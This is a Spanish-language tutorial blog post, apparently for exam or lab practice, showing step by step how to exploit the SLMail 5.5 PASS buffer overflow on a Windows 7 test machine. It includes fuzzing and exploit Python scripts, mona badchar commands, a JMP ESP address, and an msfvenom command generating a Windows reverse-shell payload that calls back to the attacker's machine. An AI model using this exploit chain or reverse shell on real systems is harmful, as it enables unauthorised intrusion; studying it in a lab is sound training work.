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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

En este post vamos a estar explotando el servicio SLMail de versión 5.5 el cual es vulnerable a un Buffer Overflow en el campo PASS:

image 65

Aunque ya haya scripts que automaticen la explotación, nosotros vamos a hacerlo de forma manual.

Antes que nada, es recomendable haber leído el post de Fundamentos de Buffer Overflow si nunca has ejecutado este tipo de ataque.

Vamos a estar trabajando con nuestro Kali y un Windows 7 de 32 bits.

  • Índice:
    • Introducción
    • Fuzzing
    • Tomando el control del EIP
    • Averiguando badchars
    • Crear payload con msfvenom
    • Buscando dirección con opcode JMP ESP
    • Exploit final

Introducción

Lo primero de todo es descargar e instalar el servicio «SLMail» en el Windows 7, previo a esto tenemos que asegurarnos que nuestro Windows 7 tiene desactivado el DEP y que el firewall no nos bloquee, al menos los puertos 25 y 110.

  • El firewall podemos configurarlo usando «Windows Firewall con Seguridad Avanzada» o netsh. Este último, podemos ver como hacerlo en el post de pivoting netsh.
  • Y el DEP (Data Execution Prevention) podemos deshabilitarlo desde una terminal como administrador usando el comando:
    • bcdedit.exe /set nx AlwaysOff

Podemos descargar SLMail 5.5 desde su web oficial. Una vez lo descargamos, empezamos el proceso de instalación:

image 66

En este caso no hace falta tocar nada, con darle todo a «Siguiente» es suficiente. Cuando la instalación acabe reiniciaremos el equipo y listo. Tendremos el SLMail instalado.

Cuando se inicie el equipo abrimos el SLMail como administrador:

image 67

Y nos dirigimos a la pestaña de control:

image 68

Desde esta parte es donde podemos controlar si se pausa el servicio o se inicia, nos servirá para cuando se crashee al ocasionar el buffer overflow. Como vemos ahora mismo ya está iniciado, por lo que si vamos a nuestro kali, podremos ver los puertos 25 y 110 abiertos:

image 69

Con todo el servicio instalado, ejecutándose y expuesto, ya podemos ponernos con el buffer overflow.

En este caso en particular, ya hemos identificado y ya conocemos de forma previa que el servicio es vulnerable. Además, hemos visto en searchsploit que ya hay scripts que lo explotan automáticamente. Por lo que vamos a ayudarnos de alguno de estos scripts para identificar la manera.

En cualquier otro caso, cuando no sepamos de qué servicio se trata y no sepamos casi nada, la mejor opción es simplemente conectarnos al puerto mediante netcat o telnet y ver si nos responde de alguna forma, y a partir de ahí, ver que se puede hacer.

Dicho esto, vamos a echarle un vistazo al primer script de searchsploit:

image 70

El título ya nos adelanta que el parámetro vulnerable parece ser ‘PASS’

Echando un ojo al primer script, vemos como sería el procedimiento:

image 71

El parámetro PASS parece ser el campo de la contraseña de un login. Además, si nos fijamos, vemos que de los dos puertos que usa SLMail, el 25 y el 110. Se conecta al 110, por lo que también identificamos a cuál de los dos puertos conectarnos.

Vamos a probarlo de forma manual:

image 72

Parece que son válidos ambos campos, aunque nos digan que las credenciales son incorrectas.

En este punto ya tenemos lo necesario para empezar:

  • Servicio vulnerable detectado
  • Puerto al que conectarnos
  • Parámetro vulnerable

Fuzzing

Sabiendo todo esto, es la hora de hacer Fuzzing, es decir, tenemos que averiguar que cantidad de información hace falta en el parámetro PASS para que se ocasione el Buffer Overflow y el programa corrompa.

Antes de hacer fuzzing, en el Windows 7 vamos a abrir como administrador el Immunity Debugger para adjuntarnos al proceso del SLMail:

image 73
image 74

De esta forma ya habremos adjuntado el Immunity Debugger al proceso de SLMail:

image 75

Ojo, cuando nos juntamos con Immunity a un proceso, este se pausa, lo podemos ver abajo a la derecha:

image 76

Por lo que no olvidemos nunca, reanudar el proceso:

image 77
image 78

Con esto hecho, ahora para hacer fuzzing vamos a hacer uso de un script en python, el cual nos automatiza la tarea:

#!/usr/bin/python

from pwn import *
import socket, sys

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 9999

if __name__ == '__main__':

    buffer = ["A"]
    contador = 100

    while len(buffer) < 32:
        buffer.append("A"*contador)
        contador += 100

    p1 = log.progress("Data")

    for strings in buffer:

        try:
            p1.status("Enviando %s bytes" % len(strings))

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip_address, rport))
            data = s.recv(1024)


            s.send("%s" % strings)
            data = s.recv(1024)

        except:

            print "\n[!] Ha habido un error de conexion\n"
            sys.exit(1)

Éste es el script estándar, solo tenemos que adaptarlo para que se adecue al caso que necesitamos:

#!/usr/bin/python

from pwn import *
import socket, sys

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = <puerto>

if __name__ == '__main__':

    buffer = ["A"]
    contador = 150

    while len(buffer) < 32:
        buffer.append("A"*contador)
        contador += 150

    p1 = log.progress("Data")

    for strings in buffer:

        try:
            p1.status("Enviando %s bytes" % len(strings))

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip_address, rport))
            data = s.recv(1024)

            s.send("USER prueba\n\r")
            data = s.recv(1024)

            s.send("PASS %s\n\r" % strings)
            data = s.recv(1024)

        except:

            print "\n[!] Ha habido un error de conexion\n"
            sys.exit(1)

Cuando mandamos el USER y el PASS, colocando \n\r al final. Estamos simulando que presionamos la tecla enter

El uso del script es sencillo, simplemente le tenemos que especificar una IP, además de editar el puerto en el código:

image 79
image 80

Con el puerto cambiado, vamos a ejecutar el script apuntando al Windows 7:

image 81
image 82
image 83

Cuando se quede pillado el número de bytes, nos volvemos al immunity debugger (o también podemos ver como se comporta el immunity mientras recibe los bytes):

image 84
image 85
image 86

Como vemos el estado del programa es «Paused», por lo que el programa a crasheado. Además, podemos como se han quedado los registros.

Si nos fijamos en los campos del EBP y del EIP, vemos como el valor de los 4 bytes es \x41 (este es el formato para representar el hexadecimal, con \x como prefijo).

image 87

Para quien no lo sepa, 41 es la letra A en hexadecimal. Que es exactamente lo que nosotros le estamos enviando.

image 88
image 89

¿Qué significa esto?

Básicamente, imaginémonos que el servicio como mucho esperaba en el campo «PASS», un valor máximo de 30 caracteres (que no es el caso, es bastante más).

¿Qué pasaría si nosotros le mandamos 60 caracteres?

Ocurre entonces que la memoria que tiene el programa reservado para ese campo es bastante menor que los datos recibidos, por lo que esa diferencia de 30 (60 – 30) se tiene que ir hacia algún lado. Y es aquí donde se empieza a sobrescribir registros.

La idea básicamente es esta:

image 90

Teniendo esto claro, y viendo como hemos sobrescrito el EIP y el EBP, la idea ahora es tomar el control del EIP, es decir, determinar exactamente cuantas ‘A‘ tenemos que mandar antes de empezar a sobrescribirlo.

Este registro nos importa tanto, ya que es la dirección de la próxima instrucción del programa, por eso se llama EIP (Extended Instruction Pointer).

Por esta misma razón el programa crashea, ya que al estar sobrescribiendo este registro, cuando el programa va a seguir su flujo, lo que hace es ver a que dirección apunta el EIP, y claro, si la dirección a la que apunta es 0x41414141, pues no llega a ningún sitio, ya que no es una dirección de memoria válida. Por eso el programa se corrompe.

Tomando el control del EIP

Con todo esto claro, para determinar el offset del EIP, o dicho de otra forma, cuantas ‘A‘ hacen falta hasta sobrescribirlo, vamos a hacer uso de dos herramientas de metasploit (en un examen como el OSCP es totalmente válido usar estas dos herramientas):

  • pattern_create.rb
  • pattern_offset.rb

Asegurándonos de que tenemos metasploit instalado, podemos encontrar estas dos herramientas de la siguiente forma:

image 91

Primero vamos a usar pattern_create.rb, lo que nos permite esta herramienta es crear una cadena de la longitud que nosotros indiquemos. Esta cadena está especialmente diseñada para que no haya patrones repetidos.

Antes, hemos comprobado que con 2700 bytes ya conseguíamos además de corromper el programa, sobrescribir los registros. Por lo que ahora vamos a cambiar un poco el script para directamente mandar solo un payload. El modelo del script a usar, sería el siguiente:

#!/usr/bin/python

from pwn import *
import socket, sys
from struct import pack

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 9999

shellcode_windows=()

shellcode_linux=()

if __name__ == '__main__':

    p1 = log.progress("Data")

    payload = <payload>

    try:
        p1.status("Enviando payload")

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, rport))
        data = s.recv(1024)


        s.send(payload + '\r\n')
        data = s.recv(1024)


    except:

        print "\n[!] Ha habido un error de conexion\n"
        sys.exit(1)

De nuevo, simplemente lo copiamos y lo adaptamos a lo que necesitemos:

#!/usr/bin/python

from pwn import *
import socket, sys
from struct import pack

if len(sys.argv) < 2:
    print "\n[!] Uso: python " + sys.argv[0] + " <ip-address>\n"
    sys.exit(0)

# Variables globales
ip_address = sys.argv[1]
rport = 110

shellcode_windows=()

shellcode_linux=()

if __name__ == '__main__':

    p1 = log.progress("Data")

    payload = <payload>

    try:
        p1.status("Enviando payload")

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, rport))
        data = s.recv(1024)


        s.send('USER prueba\r\n')
        data = s.recv(1024)

        s.send('PASS ' + payload + '\r\n')
        data = s.recv(1024)

    except:

        print "\n[!] Ha habido un error de conexion\n"
        sys.exit(1)

Con esto, vamos a generar ahora una cadena de 2700 bytes con pattern_create.rb:

pattern_create.rb -l <longitud de la cadena>

image 92

Copiamos este output y lo adjuntamos a la variable payload del script:

image 93

De esta forma, vamos a ejecutar el script para que mande directamente este payload al campo «PASS».

Cada vez que ocasionemos un buffer overflow y el programa corrompa, tenemos que reiniciar el servicio y volvernos a adjuntarnos con immunity debugger a él, ya que al reiniciar el servicio el proceso cambia.

Ejecutamos el exploit:

image 94

En immunity podemos ver como el programa corrompe:

image 95

Con esto hecho, la idea ahora es fijarnos en el valor del registro EIP:

image 96

Es 39694438. Este valor corresponde a una parte en concreto de la cadena que hemos enviado en el payload.

Teniendo en cuenta este número, vamos a usar pattern_offset.rb:

pattern_offset.rb -q <valor del EIP>

image 97

Ojo, nos dice que el offset es 2606, es decir que si mandamos 2606 ‘A‘ y 4 ‘B‘, el valor del EIP debería de ser 42424242 (ya que 42 es B en hexadecimal).

Vamos a comprobarlo:

image 98

<Reiniciamos el servicio>

<Nos adjuntamos con Immunity Debugger>

Ejecutamos el exploit:

image 99
image 100

Como vemos, EIP vale las 4 ‘B‘ que hemos mandado. Es en este punto cuando se dice que tenemos el control del EIP.

Averiguando badchars

Ahora, es hora de averiguar los «badchars». Los badchars son bytes que por así decirlo el programa no admite. De tal forma que si generásemos un payload con algún badchar, no funcionaría.

Para este paso, vamos a hacer uso de mona, un módulo de Immunity Debugger que nos facilitará la tarea.

Su instalación es bastante sencilla, descargamos el script mona.py de su repositorio oficial. Este script lo movemos a la siguiente ruta:

C:\\Archivos de programa\\Immunity Inc\\Immunity Debugger\\PyCommands

C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands

Y de esta forma ya se habrá instalado. Podemos comprobarlo en el Immunity Debugger con !mona:

image 101

Hecho esto, vamos a configurar el espacio de trabajo con el comando:

!mona config -set workingfolder <ruta>\%p

image 102

Ahora, vamos a generar un array de bytes de la siguiente forma:

!mona bytearray

image 103

Esto nos genera una cadena con todos los bytes posibles, nos servirá para determinar cuáles son badchars y cuáles no.

Además, con este comando como hemos configurado el espacio de trabajo previamente, ahora se nos habrá generado una carpeta con el nombre del proceso al que estamos adjuntados:

image 104

Dentro, podemos encontrar un txt con la cadena de bytes:

image 105
image 106

Nos copiamos la cadena y la añadimos al payload.

image 107

Con esto, hacemos lo de siempre, reiniciamos el servicio, nos adjuntamos con Immunity y ejecutamos el exploit:

image 108
image 109

Ahora nos interesa el valor del ESP. Mediante este valor, mona nos automatizará la tarea de detectar los badchars.

Haremos uso del siguiente comando:

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 0258A128

image 110

De esta forma, como vemos, mona nos dice que un badchars es el \x00 (este es un badchar muy típico, por lo que normalmente se quita de inmediato)

Con esto hecho, vamos a actualizar los archivos bytearray que tenemos, para decirles que eliminen el \x00:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\x00"'

image 111

De esta forma, el archivo bytearray se habrá actualizado.

image 139

Como ya sabemos que \x00 es un badchar, simplemente lo quitaremos del payload en el exploit:

image 112

Ejecutamos el exploit…

image 113

Y ahora hacemos el mismo proceso para detectar el badchar:

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 01ADA128

image 114

Nos detecta que el \x0a es otro. Pues hacemos lo mismo que antes:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\\x00\\x0a"'

image 115

Comprobamos que se ha quitado:

image 116

Y con esto, lo mismo que antes, ahora quitamos del payload el \x0a.

image 117

Y repetimos de nuevo todo el proceso, esta parte es un poco repetitiva.

image 118
image 119

!mona compare -f <especificamos la ruta del bytearray.bin> -a <dirección del ESP>

!mona compare -f C:\\Users\\JuanA\\Desktop\\SLMail\\bytearray.bin -a 026EA128

image 120

Detectamos otro badchar, esta vez el \x0d. Pues hacemos lo mismo:

!mona bytearray -cpb '"<badchars>"'

!mona bytearray -cpb '"\\x00\\x0a\\x0d"'

image 121

Y pues lo mismo, quitamos ahora del exploit el \x0d y repetimos todo. Así, hasta que nos salga que no encuentra ninguno:

image 122

Por lo que ya hemos descubierto todos los badchars, en este caso son:

  • \x00
  • \x0a
  • \x0d

Crear payload con msfvenom

Sabiendo esto, vamos a crear el payload de la reverse shell con msfvenom (podemos usar cualquier otro payload, por ejemplo, el de ejecutar un comando concreto en Windows):

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<puerto> EXITFUNC=thread -a x86 --platform windows -b <badchars> -e x86/shikata_ga_nai -f c

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.208.10 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f c

image 123

Usamos el EXITFUNC=thread porque si no cuando consigamos explotar el buffer overflow y tengamos una shell. Si la perdiéramos por lo que sea y quisiéramos conseguir otra no podríamos, porque ya se habrá cargado el proceso. De esta forma podemos mandarnos cuantas shells queramos, ya que el proceso de las shells se ejecutan como thread y no sustituyen al principal del servicio

Nos copiamos el shellcode generado por msfvenom y lo añadimos al exploit:

image 124
image 125

Buscando dirección con opcode JMP ESP

Con esta parte hecha, solo falta un último paso. Tenemos que conseguir que el EIP apunte al ESP, es decir, a nuestro payload, ya que ahora mismo está apuntando a la dirección de 4 ‘B‘.

Para esto, tenemos que hacer que el EIP apunte a una dirección de «JMP ESP». Una dirección la cual haga un salto automático a donde se encuentre el ESP.

Para hacer esto, vamos a usar la herramienta nasm_shell.rb de metasploit y mona.

Nasm_shell.rb hace lo siguiente:

image 126

De esta forma, vamos a ver el opcode asociado al JMP ESP:

image 127
image 128

Sabiendo que el opcode es FFE4, vamos a dirigirnos a mona y vamos a listar los módulos del proceso:

!mona modules

image 129

Listando los módulos, tenemos que usar uno que tenga las cuatro primeras columnas de True y False, en False (ya que este BoF no tiene ninguna protección). En mi caso voy a usar el siguiente módulo:

image 130

Con esto, ahora vamos a usar mona para buscar una dirección dentro de ese módulo cuyo opcode sea un JMP ESP:

!mona find -s '"<opcode JMP ESP>"' -m <módulo>

!mona find -s '"\\xff\\xe4"' -m SLMFC.dll

image 131

Mona nos da una serie de direcciones, podemos escoger cualquiera. El único requisito es que esa dirección no contenga ningún badchar.

En mi caso, voy a escoger por ejemplo la última, 0x5f4c4d13.

Vamos a comprobar que efectivamente esta dirección es un jmp ESP.

Click derecho y nos copiamos la dirección:

image 132

Nos dirigimos al siguiente botón:

image 133

Pegamos la dirección y le damos al OK. De esta forma nos llevará a la dirección que hemos especificado:

image 134

Y efectivamente, confirmamos que es un JMP ESP.

En caso de que al hacer esto nos lleve a una dirección que no tiene nada que ver con la que hemos puesto, simplemente buscamos otra vez y listo.

Exploit final

Ya tenemos todo para explotar el buffer overflow de forma exitosa. Vamos a dirigirnos al exploit.py para hacer los últimos retoques:

image 135

Vamos a sustituir las 4 ‘B’ con la dirección del JMP ESP en Little Endian:

image 136

En este caso usamos la librería struct para que nos haga el cambio a «Little Endian» de forma automática. También sería válido si lo hiciésemos nosotros de manera manual.

Además, para asegurarnos de que todo vaya correcto, vamos a añadirle NOPS entre el JMP ESP y el shellcode (también podriamos ocasionar un desplazamiento de la pila si no quisiéramos usar NOPS):

image 137

Si no sabes lo que son los NOPS, lo puedes ver en el post de Fundamentos para Stack Based Buffer Overflow.

De esta forma, ya está todo listo, si nos ponemos en escucha por el puerto que especificamos anteriormente en el msfvenom y ejecutamos el exploit:

image 138

Conseguimos controlar el flujo del programa haciendo que se dirija a nuestro payload y que nos ejecute una shell.